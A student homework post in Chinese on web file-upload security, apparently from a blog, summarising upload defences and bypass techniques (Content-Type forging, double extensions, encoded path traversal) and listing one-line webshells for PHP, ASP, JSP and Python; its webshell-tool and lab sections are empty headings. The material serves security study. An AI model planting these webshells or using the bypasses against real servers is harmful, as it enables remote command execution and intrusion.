第七次作业

一、文件上传防御手段及绕过手段总结

文件上传是Web安全中的一个重要话题,正确处理文件上传能够防止攻击者上传恶意文件,进而对系统造成危害。以下是文件上传的防御手段及绕过手段的总结:

 1、防御手段

1. 文件类型验证:
   内容类型验证:通过检查文件的MIME类型来确认文件类型。
   扩展名验证:只允许特定的文件扩展名上传(如`.jpg`, `.png`, `.pdf`等)。
   文件头验证:分析文件头信息,确认文件的实际类型与声明类型是否一致。

2. 文件大小限制:
   设置文件上传的大小限制,避免攻击者上传超大文件导致服务器资源耗尽。

3. 文件名处理:
   重新命名上传的文件,防止文件名中的特殊字符或路径注入。
   删除文件名中的特殊字符(如`..`, `/`, `\`, `%00`等),防止目录遍历攻击。

4. 存储位置隔离:
   将上传的文件存储在应用程序目录之外,避免直接访问。
   使用随机生成的文件名和文件夹名,防止猜测攻击。

5. 严格的权限控制:
   限制上传文件的执行权限,不允许上传的文件在服务器上执行。
   设置文件的权限为只读,防止篡改。

6. 病毒扫描:
   上传文件后,通过集成的病毒扫描引擎检测文件是否包含恶意代码。

7. 白名单机制:
   仅允许特定类型的文件上传,拒绝所有未在白名单中的文件类型。

8. 使用CDN或第三方存储:
   上传的文件可以直接存储在CDN或第三方存储服务上,这样可以避免Web服务器直接暴露。

9. 动态检测与拦截:
   实时检测上传文件的行为或特征,识别潜在的威胁并阻止。

 2、绕过手段

1. 内容类型伪造:
    攻击者可以通过修改HTTP请求中的Content-Type头部来伪造文件的MIME类型,绕过类型验证。

2. 双扩展名:
   使用双扩展名如`file.php.jpg`,有些系统只会检查最后一个扩展名,导致绕过检测。

3. 文件头伪造:
   攻击者可以手动修改文件头信息,使文件看起来是合法类型。

4. 文件大小绕过:
   上传多个小文件代替一个大文件,或通过分块上传来绕过文件大小限制。

5. 隐藏文件扩展名:
   使用特殊字符(如空格、点号)在文件名中隐藏扩展名,或者利用一些系统对文件扩展名的错误处理绕过验证。

6. 使用未列入黑名单的文件类型:
   上传一种不常见或误判为安全的文件类型,并通过其他手段利用它。

7. 利用服务端解析漏洞:
   在特定环境下,服务端可能错误解析文件类型或扩展名,导致攻击文件被执行。

8. 绕过文件名处理:
   使用编码绕过文件名的特殊字符检查,如`%2e%2e/`绕过`../`检查。

9. 利用第三方服务漏洞:
   在文件上传完成后,利用CDN或第三方存储服务的漏洞进行文件替换或恶意利用。

二、文件上传常用一句话木马

1. PHP 一句话木马

<?php @eval($_POST['cmd']); ?>


2. ASP 一句话木马

<%eval request("cmd")%>

3. JSP 一句话木马

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>
 

4. Python 一句话木马

import os; os.system(input("cmd: "))
 

三、webshell管理工具的使用方法

1.蚁剑

2.冰蝎

3.哥斯拉

四、靶场

6.

7.

8.

9.

10.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值